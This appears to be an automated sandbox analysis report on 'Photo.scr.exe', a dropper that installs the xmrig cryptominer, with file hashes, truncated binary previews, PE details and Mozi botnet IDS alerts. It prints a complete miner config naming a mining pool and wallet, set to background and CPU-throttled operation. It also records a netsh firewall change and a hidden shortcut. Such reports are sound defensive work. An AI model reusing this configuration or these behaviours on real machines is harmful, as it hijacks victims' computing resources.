Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	7.2228399102917615
Encrypted:	false
SSDEEP:	384:FVtYwprbL7fLBtdYzKNg13ZOPaNJawcudoD7UfMX:vawBbLFYzKNg1plnbcuyD7UfMX
MD5:	6A95BCF45E4BE23CC2634EF5BAD17660
SHA1:	7D13B791588CB800C2ADD75FF8E74C3C493A8143
SHA-256:	60DA4B4E628B7DC1115615128AC554AEB29B50A61629AD5AEEB5CC9D2BD86202
SHA-512:	D3C80B025647444F42D42E82CAD50C4383728F7F8C9E16AA9D87450CA864B0B97B5F8F47E80328A4A2B67CE7D06C9A8F1DAE8C5B3C798DE1B2A50164161E69C8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o....K...K...K...K...K...K...K...K...KR..K...K...K...K...K...K...K...K...K...K...K...KRich...K........................PE..L......[...........!.....@........................}.....................................................................\...........................................................................h...H...........................................UPX0....................................UPX1.....@.......4..................@....rsrc................8..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\unicodedata.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	181760
Entropy (8bit):	7.989160583257678
Encrypted:	false
SSDEEP:	3072:Rfe2dO8KvTdjKGssSXwgtXZT32qenyxHBKs//4wd3RP29sZ6lI883out:Rfe2bKvEw+k2kw/4wZRPS3coS
MD5:	9A465CFAA788E29E7B1366C012EBC75C
SHA1:	10D9C49BB6652D9B04E17608D9ED35B036112647
SHA-256:	35C84D824DB175DD71046806A59BC711021ABCE04698FA304B1E2A9855E50A9C
SHA-512:	31BEE259C78CEB1E4F5C52E7B2CBD0EB62A071FC9C748DF47AB824E383EFDC3B218168700341B96D139DABFB3E4D7644341F22E52982B7C7F135A9E35B300B00
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{H..?).?).?).6QE.=).6QS.1).6QT.=).6QC.8).?)..).6QY.>).6QB.>).6QA.>).Rich?).................PE..L...6>CX...........!......................................................................@.............................T...................................,.......................................x...H...........................................UPX0....................................UPX1................................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\win32api.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.794879575971907
Encrypted:	false
SSDEEP:	768:etKTLIw2eRBsqBvKddE/wW68vEvfW2qmSOyinbcuyD7Uqmx:DCeLrGderDH2FXyinouy8qmx
MD5:	42C475231F4835BB1A5F94B0D3DA4520
SHA1:	FCFAE296DD10C92D973A57D61BBF5C0F4A15ED6B
SHA-256:	87CEEB1B7586DB730F48988A07018F9C8AF57934FF7F173A869542207F46B0F1
SHA-512:	D1A699B8497E8843F990F6F719A904A7751FE2A9404CB195BE2D94341728A7372CD93D379B576E6031980E1DA53F2336805C6BF59E799B63565CD63D4931C02A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[-..L...L...L.......L.......L.......L...J..L...L..UM.......L.......L.......L..Rich.L..................PE..L......[...........!.............p.. ...............................................................................P.......X...........X...............................................................H....................B..@...................UPX0.....p..............................UPX1.............~..................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\win32event.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	6.799438399701252
Encrypted:	false
SSDEEP:	192:jNxmpzSvHU53Uon53eXqY1K/CjrELQc432Xq0FaNJhLkwcud2DH9VwGfctLj/t:Xmp2/UR95aP1pgEc432XBaNJawcudoDU
MD5:	796306BE7A1ABCFFB8853EE9CEB5BEAE
SHA1:	93762CF53958A3A99B674986FCF3C53C489133ED
SHA-256:	26E6D883E9E61BF872425526A9B8C7BB229C3B9D2F82BB3C0BF500660DBE1995
SHA-512:	5919A837FA1FCAEA91B14D02DA306928D5E523E4591DCA290422C9EB9BE15F2EE626A8379F5C953F2B08E7A6B2CD67618652B9EFA9ACE8ABD47A8BD7CD8C2F64
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........k..{8..{8..{8..8..{8..8..{8..8..{8 ..8..{8..z8..{8..8..{8..8..{8..8..{8Rich..{8................PE..L...T..[...........!.....0..............................................................................................P...`...\.......`...........................................................h...H...........................................UPX0....................................UPX1.....0......."..................@....rsrc................&..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\win32evtlog.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	19968
Entropy (8bit):	7.436093769968754
Encrypted:	false
SSDEEP:	384:Wo5FgP/m1xaGAONAt4ZvFqQggg3LgsAWUh31lA2W1waNJawcudoD7UGwGS:WmuP+TOONp5UQ/Zs8FlAfnbcuyD7UGwX
MD5:	317360BE68901D11F3D02AF1C151A4DC
SHA1:	570BF03BE1A737CF3D0CF3FC8E77261CF64E2051
SHA-256:	AC9C5C4BAA4DE19BDDF55313F29182F26EB80312C31266413672C61424A5C6E0
SHA-512:	25C25C23DD4FE1957CDFAD833D4570553C2627775008F3939525B6A3D1892F8B6CB7A9F20D454166338DF4DFC8A98306A1160016AE4CB2E9464944945AFA0A82
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..i+..i+..i+.E&...i+..;...i+..;...i+..;...i+.%...i+..i*.hi+..;...i+..;...i+..;...i+..;...i+.Rich.i+.................PE..L......[...........!.....P...................0...............................@.......................................4..T....3..P....0......................L5.......................................!..H.......................@...................UPX0....................................UPX1.....P.......D..................@....rsrc........0.......H..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\win32service.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	7.513143648749714
Encrypted:	false
SSDEEP:	384:DvSTTJQxdZ3goCVdvSbw66apC1aNJawcudoD7U46:LSTT+1KF1onbcuyD7U46
MD5:	F23A62491BD945C050E3E1D13909E9E7
SHA1:	B8DAC4E00163533157A17E3B56D05E049A2375A2
SHA-256:	E52B5532A6764AAAE67DB557412B3F77EBDC8A14A72771A1C6414A83BB3FC15C
SHA-512:	52200CF9687752DB43BBAE703192C841694D5BD976FA56C0F25E0478CFB97681BC77677C1A8907167612DDF9FE6A561945FBEB0180022670AF97BF41B5B11766
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........[..[..[.....Z..E.-.Z..E.;.V..E.+.]...!s.\..[.....E.<.^..E.*.Z..E.,.Z..E.).Z..Rich[..........PE..L...q..[...........!.....@..........................................................................................8...T...............................................................................H...........................................UPX0....................................UPX1.....@.......>..................@....rsrc................B..............@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\xmrig.exe

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	1905664
Entropy (8bit):	7.9235088812144
Encrypted:	false
SSDEEP:	49152:jeXVwyagUSymDH29F4+rthFTo6YZfnH8:0VKgUSymDH29ttzToX1nc
MD5:	13BDD9CD9F7E51746172996262B5A873
SHA1:	3834F8179ABD7A827E927505F3C226AC8BBCF3EE
SHA-256:	4BF737B29FF521BC263EB1F2C1C5EA04B47470CCCD1BEAE245D98DEF389929BD
SHA-512:	49879918505D042312F20B2FC8310A8C4A58AA266ED1AB05E0481F7E11385DA0920CF9D756F842EB98E4394F14725385B74A99B38FC8A60222FA4CC873CB8040
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Windows\Temp\_MEI60722\xmrig.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....\.....................`...0>...Z..@>...[...@..........................`[............... ...................... X.x....][.<.....[..]....................................................Z.....................................................UPX0.....0>.............................UPX1.........@>.....................@....rsrc....`....[..`..................@...3.94.UPX!....E.G...@.`.Z.....$Z.$/.w.......&...'....1.f.=.@9....MZ..,......($..#...th.....82..tJ......$.,./,......+.l..Ho..~B.......:..6....L.=Dc..tm....-<h....f..<2...u..?PEl..u..Q....-l..~?....j..x.......]...........K".v.g?w...k+...yt`,........o..7>,. ..D$...............7......b..0.{..,.~...[U......WV.U.S..\|.0~....+..).b.........@....................5.o.E.....d....x....l0.9..9...3....o._..........=...u...;.v.f...R..0..`.lm...--...I...X/(......9J9..~?.v...&+.. P.kSn.l......LJ...

C:\Windows\Temp\config

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	34
Entropy (8bit):	4.006436738245532
Encrypted:	false
SSDEEP:	3:KUc+TQmb4D3KN0:KUc+5cDf
MD5:	FA9A2993C7D47BD87FCDD7810A417C9D
SHA1:	2D2B7AEB5F8D39B283ADE33AC0BD7BC4CD582530
SHA-256:	F6B5EDA891BCA6AFDCA2D6068FF33309306456A4199D3024FF793427A39CFB98
SHA-512:	B666DAC7EE7E66E14245AC4BC35E51E51A4CF44C9481087AD3E40D10B478FF4B1E9FAE6F59E8F50DD0FE4E9F286907876217CF71BB9DC5F0E5C9C625FF724D5B
Malicious:	true
Reputation:	unknown
Preview:	1619016288..[rn]GET[/rn][sv]0[/sv]

C:\Windows\Temp\config.json

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	4.312597830652666
Encrypted:	false
SSDEEP:	24:pCKENTHgbeZlE1jCAgFuPBdOgNanAOSWSula:UKuTHgbYlUgFu5drNAla
MD5:	42A60033B0CC3D34577AC729E10AB957
SHA1:	9F9E6AB8F51937754639FAE6B4B172025D5D825E
SHA-256:	5106382075DDAD29ECAA71FB572A03BCEFB586F0B1426BD9DE56B8BF1A82AF57
SHA-512:	42E0771378F46DDDAA02E58384A1077DDB43B738CD7F7A971A6889CB98BD169B6FB33EC5E68234981714A8A9A93C6A83259378573C034C32E87E626727B3CAB1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Windows\Temp\config.json, Author: Joe Security
Reputation:	unknown
Preview:	{. "algo": "cryptonight",. "api": {. "port": 0,. "access-token": null,. "id": null,. "worker-id": null,. "ipv6": false,. "restricted": true. },. "autosave": true,. "av": 0,. "background": true,. "colors": true,. "cpu-affinity": null,. "cpu-priority": null,. "donate-level": 1,. "huge-pages": true,. "hw-aes": null,. "log-file": null,. "max-cpu-usage": 70,. "pools": [. {. "url": "xmr.crypto-pool.fr:3333",. "user": "82njF53q92M2WJXCzMgasqjcLDqU2xSFt7ThkTXNEfwvG1YfJV1cfNBYVPHukzAcKK7g7QHFCoEqTZEYePrM5tmaSRsz4Xq",. "pass": "x",. "rig-id": null,. "nicehash": false,. "keepalive": false,. "variant": -1,. "enabled": true,. "tls": false,. "tls-fingerprint": null. }. ],. "print-time": 60,. "retries": 5,. "retry-pause": 5,. "safe": false,. "threads": [. {.

C:\Windows\Temp\link.txt

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Archive, ctime=Sun May 26 13:48:06 2019, mtime=Sun Jun 2 09:48:11 2019, atime=Sun May 26 13:48:06 2019, length=3933296, window=hide
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	3.3086042907696407
Encrypted:	false
SSDEEP:	24:8NqDOlC82vUKJU1+IMJ941y2bY6HoIab/C8fn1vURXTUmu3+IMmmt:8aVnvZJUdMs1yE3HVabhlUymu3fMm
MD5:	3A9349AF006440C7E0DA677724551239
SHA1:	70075BB3B999E825E328302B462DEB1AA337B663
SHA-256:	00401651AF3194EDE5157004B6DBE1EDF836A94CA182221F2C034201FE55E4DC
SHA-512:	588D9EA0C7D770ADF1BE9C887EF2F2CDB42A7205D2DD1288CDA193CD1D99EB689B5DC68765E17724F093EF312B7769290968610C4C6F2BE0432D52D483FF15C0
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... ....">.......Q.0.....@.....p.<..........................P.O. .:i.....+00.../C:\...................V.1......N....Windows.@......L...N(V.........................._J..W.i.n.d.o.w.s.....f.2.p.<..N.v .explorer.exe..J......N.v.N.V....Q...........\.........f...e.x.p.l.o.r.e.r...e.x.e.......M...............4.......L...........d.{.....Windows.C:\Windows\explorer.exe..#.....\.....\.....\.....\.....\.W.i.n.d.o.w.s.\.e.x.p.l.o.r.e.r...e.x.e...P.h.o.t.o...s.c.r.........%SystemRoot%\explorer.exe...........................................................................................................................................................................................................................................%.S.y.s.t.e.m.R.o.o.t.%.\.e.x.p.l.o.r.e.r...e.x.e.........................................................................................................................................................................................................

C:\Windows\Temp\xmrig.exe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	1905664
Entropy (8bit):	7.9235088812144
Encrypted:	false
SSDEEP:	49152:jeXVwyagUSymDH29F4+rthFTo6YZfnH8:0VKgUSymDH29ttzToX1nc
MD5:	13BDD9CD9F7E51746172996262B5A873
SHA1:	3834F8179ABD7A827E927505F3C226AC8BBCF3EE
SHA-256:	4BF737B29FF521BC263EB1F2C1C5EA04B47470CCCD1BEAE245D98DEF389929BD
SHA-512:	49879918505D042312F20B2FC8310A8C4A58AA266ED1AB05E0481F7E11385DA0920CF9D756F842EB98E4394F14725385B74A99B38FC8A60222FA4CC873CB8040
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Windows\Temp\xmrig.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....\.....................`...0>...Z..@>...[...@..........................`[............... ...................... X.x....][.<.....[..]....................................................Z.....................................................UPX0.....0>.............................UPX1.........@>.....................@....rsrc....`....[..`..................@...3.94.UPX!....E.G...@.`.Z.....$Z.$/.w.......&...'....1.f.=.@9....MZ..,......($..#...th.....82..tJ......$.,./,......+.l..Ho..~B.......:..6....L.=Dc..tm....-<h....f..<2...u..?PEl..u..Q....-l..~?....j..x.......]...........K".v.g?w...k+...yt`,........o..7>,. ..D$...............7......b..0.{..,.~...[U......WV.U.S..\|.0~....+..).b.........@....................5.o.E.....d....x....l0.9..9...3....o._..........=...u...;.v.f...R..0..`.lm...--...I...X/(......9J9..~?.v...&+.. P.kSn.l......LJ...

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	313
Entropy (8bit):	4.971939296804078
Encrypted:	false
SSDEEP:	6:/ojfKsUTGN8Ypox42k9L+DbGMKeQE+vigqAZs2E+AYeDPO+Yswyha:wjPIGNrkHk9iaeIM6ADDPOHyha
MD5:	689E2126A85BF55121488295EE068FA1
SHA1:	09BAAA253A49D80C18326DFBCA106551EBF22DD6
SHA-256:	D968A966EF474068E41256321F77807A042F1965744633D37A203A705662EC25
SHA-512:	C3736A8FC7E6573FA1B26FE6A901C05EE85C55A4A276F8F569D9EADC9A58BEC507D1BB90DBF9EA62AE79A6783178C69304187D6B90441D82E46F5F56172B5C5C
Malicious:	false
Reputation:	unknown
Preview:	..IMPORTANT: Command executed successfully...However, "netsh firewall" is deprecated;..use "netsh advfirewall firewall" instead...For more information on using "netsh advfirewall firewall" commands..instead of "netsh firewall", see KB article 947709..at https://go.microsoft.com/fwlink/?linkid=121488 .....Ok.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.992598665726903
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Photo.scr.exe
File size:	6'227'230 bytes
MD5:	ca1fb1ad30189110cc225620dc537368
SHA1:	bfc2de8f0b376a6f1ff1930a4f261709a27e92ec
SHA256:	3fde84a46aea58ba4ddb5fb0473fc756ff209ba96b1a63a2759d13b8adc01a69
SHA512:	11737f00ac297040b40cfe6879b695c9900b6b2a691e0b4e12c190ed9918179d0b7a76415d67368d3767f7d357e1c0df202af618964986f72dcbac7bfd5ace17
SSDEEP:	98304:RLNSThOfTCiFBXmfFs+JhTpCVoR8oMEOJ6Ty3RvX+A0eVObApY:bBfTCiUsBVSLOJgyBG3KTp
TLSH:	C4563395F0806422F13D183615BA84F2B07CFCB343654A9F539E2A756D383D9263AB8F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........hZ............,Y......,Y..4...,Y..............................E:......................................Rich...................

File Icon


Icon Hash:	061a1a92126a6a1b

Static PE Info

General

Entrypoint:	0x4079d3
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5B8E9A15 [Tue Sep 4 14:43:33 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	91ae93ed3ff0d6f8a4f22d2edd30a58e

Entrypoint Preview

Instruction
call 00007FCF3D32DEFBh
jmp 00007FCF3D32D853h
int3
int3
int3
push edi
push esi
push ebx
xor edi, edi
mov eax, dword ptr [esp+14h]
or eax, eax
jnl 00007FCF3D32D9D6h
inc edi
mov edx, dword ptr [esp+10h]
neg eax
neg edx
sbb eax, 00000000h
mov dword ptr [esp+14h], eax
mov dword ptr [esp+10h], edx
mov eax, dword ptr [esp+1Ch]
or eax, eax
jnl 00007FCF3D32D9D6h
inc edi
mov edx, dword ptr [esp+18h]
neg eax
neg edx
sbb eax, 00000000h
mov dword ptr [esp+1Ch], eax
mov dword ptr [esp+18h], edx
or eax, eax
jne 00007FCF3D32D9DAh
mov ecx, dword ptr [esp+18h]
mov eax, dword ptr [esp+14h]
xor edx, edx
div ecx
mov ebx, eax
mov eax, dword ptr [esp+10h]
div ecx
mov edx, ebx
jmp 00007FCF3D32DA03h
mov ebx, eax
mov ecx, dword ptr [esp+18h]
mov edx, dword ptr [esp+14h]
mov eax, dword ptr [esp+10h]
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jne 00007FCF3D32D9B6h
div ecx
mov esi, eax
mul dword ptr [esp+1Ch]
mov ecx, eax
mov eax, dword ptr [esp+18h]
mul esi
add edx, ecx
jc 00007FCF3D32D9D0h
cmp edx, dword ptr [esp+14h]
jnbe 00007FCF3D32D9CAh
jc 00007FCF3D32D9C9h
cmp eax, dword ptr [esp+10h]
jbe 00007FCF3D32D9C3h
dec esi
xor edx, edx
mov eax, esi
dec edi
jne 00007FCF3D32D9C9h
neg edx
neg eax
sbb edx, 00000000h
pop ebx
pop esi
pop edi
retn 0010h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [00420064h]
push dword ptr [ebp+08h]
call dword ptr [00000060h]

Rich Headers

Programming Language:

[RES] VS2015 UPD3 build 24213

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2a85c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c000	0x10608	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4d000	0x17b4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x29eb0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x29ed0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x20000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1eb34	0x1ec00	False	0.576100419207317	MPEG-4 LOAS	6.648110771809834	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x20000	0xb164	0xb200	False	0.5637069873595506	data	6.099950542063865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2c000	0xe688	0xa00	False	0.149609375	data	1.9238681343729909	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.gfids	0x3b000	0xb8	0x200	False	0.30078125	data	1.8395246261662273	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x3c000	0x10608	0x10800	False	0.7662020596590909	data	7.255045319856105	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4d000	0x17b4	0x1800	False	0.8028971354166666	data	6.653322319435291	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x3c1f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.39968879668049795
RT_ICON	0x3e798	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.7360108303249098
RT_ICON	0x3f040	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.755057803468208
RT_ICON	0x3f5a8	0x952c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9975384937676757
RT_ICON	0x48ad4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.3887966804979253
RT_ICON	0x4b07c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.49530956848030017
RT_ICON	0x4c124	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.7207446808510638
RT_GROUP_ICON	0x4c58c	0x14	data	1.15
RT_GROUP_ICON	0x4c5a0	0x68	data	0.7019230769230769

Imports

DLL	Import
USER32.dll	MessageBoxW, MessageBoxA
KERNEL32.dll	SystemTimeToTzSpecificLocalTime, DecodePointer, GetLastError, SetDllDirectoryW, GetModuleFileNameW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, LoadLibraryExW, GetShortPathNameW, FormatMessageW, LoadLibraryA, MultiByteToWideChar, WideCharToMultiByte, SetEndOfFile, HeapReAlloc, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetModuleHandleW, RtlUnwind, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetCommandLineA, ReadFile, CreateFileW, GetDriveTypeW, GetFileType, CloseHandle, PeekNamedPipe, RaiseException, FileTimeToSystemTime, GetFullPathNameW, GetFullPathNameA, CreateDirectoryW, RemoveDirectoryW, FindClose, FindFirstFileExW, FindNextFileW, SetStdHandle, SetConsoleCtrlHandler, DeleteFileW, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, GetACP, HeapFree, HeapAlloc, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleCP, CompareStringW, LCMapStringW, GetCurrentDirectoryW, FlushFileBuffers, SetEnvironmentVariableA, GetFileAttributesExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetStringTypeW, GetProcessHeap, WriteConsoleW, GetTimeZoneInformation, HeapSize
WS2_32.dll	ntohl

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
178.72.77.161192.168.2.37817234812030919 08/23/23-09:18:25.655726	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7817	23481	178.72.77.161	192.168.2.3
178.72.77.204192.168.2.32813234812030919 08/23/23-09:18:14.283609	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	2813	23481	178.72.77.204	192.168.2.3
178.141.129.17192.168.2.38081234812030919 08/23/23-09:17:51.895471	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8081	23481	178.141.129.17	192.168.2.3
1.10.212.33192.168.2.326958234812030919 08/23/23-09:18:41.741927	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	26958	23481	1.10.212.33	192.168.2.3
170.51.110.42192.168.2.32549234812030919 08/23/23-09:18:13.401602	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	2549	23481	170.51.110.42	192.168.2.3
178.72.71.23192.168.2.316478234812030919 08/23/23-09:18:03.880416	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	16478	23481	178.72.71.23	192.168.2.3
220.124.130.79192.168.2.33861234812030919 08/23/23-09:18:34.633564	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	3861	23481	220.124.130.79	192.168.2.3
1.10.212.38192.168.2.315858234812030919 08/23/23-09:18:35.818268	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15858	23481	1.10.212.38	192.168.2.3
178.72.78.187192.168.2.326039234812030919 08/23/23-09:18:34.466149	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	26039	23481	178.72.78.187	192.168.2.3
178.72.70.47192.168.2.326021234812030919 08/23/23-09:17:48.659055	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	26021	23481	178.72.70.47	192.168.2.3
1.241.172.105192.168.2.316508234812030919 08/23/23-09:18:32.551399	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	16508	23481	1.241.172.105	192.168.2.3
170.51.110.122192.168.2.313110234812030919 08/23/23-09:16:05.454080	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	13110	23481	170.51.110.122	192.168.2.3
178.72.68.21192.168.2.324126234812030919 08/23/23-09:17:18.327197	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	24126	23481	178.72.68.21	192.168.2.3
178.72.68.127192.168.2.31176234812030919 08/23/23-09:17:59.483744	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	1176	23481	178.72.68.127	192.168.2.3
178.72.77.79192.168.2.38615234812030919 08/23/23-09:17:26.857316	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8615	23481	178.72.77.79	192.168.2.3
178.72.68.87192.168.2.39088234812030919 08/23/23-09:18:03.530228	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	9088	23481	178.72.68.87	192.168.2.3
175.241.153.212192.168.2.38083234812030919 08/23/23-09:15:22.258584	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8083	23481	175.241.153.212	192.168.2.3
178.72.69.158192.168.2.314513234812030919 08/23/23-09:18:18.859499	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	14513	23481	178.72.69.158	192.168.2.3
178.72.75.24192.168.2.37246234812030919 08/23/23-09:18:19.854927	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7246	23481	178.72.75.24	192.168.2.3
178.72.75.208192.168.2.327183234812030919 08/23/23-09:18:19.149886	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	27183	23481	178.72.75.208	192.168.2.3
95.24.2.134192.168.2.351620234812030919 08/23/23-09:18:12.410585	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	51620	23481	95.24.2.134	192.168.2.3
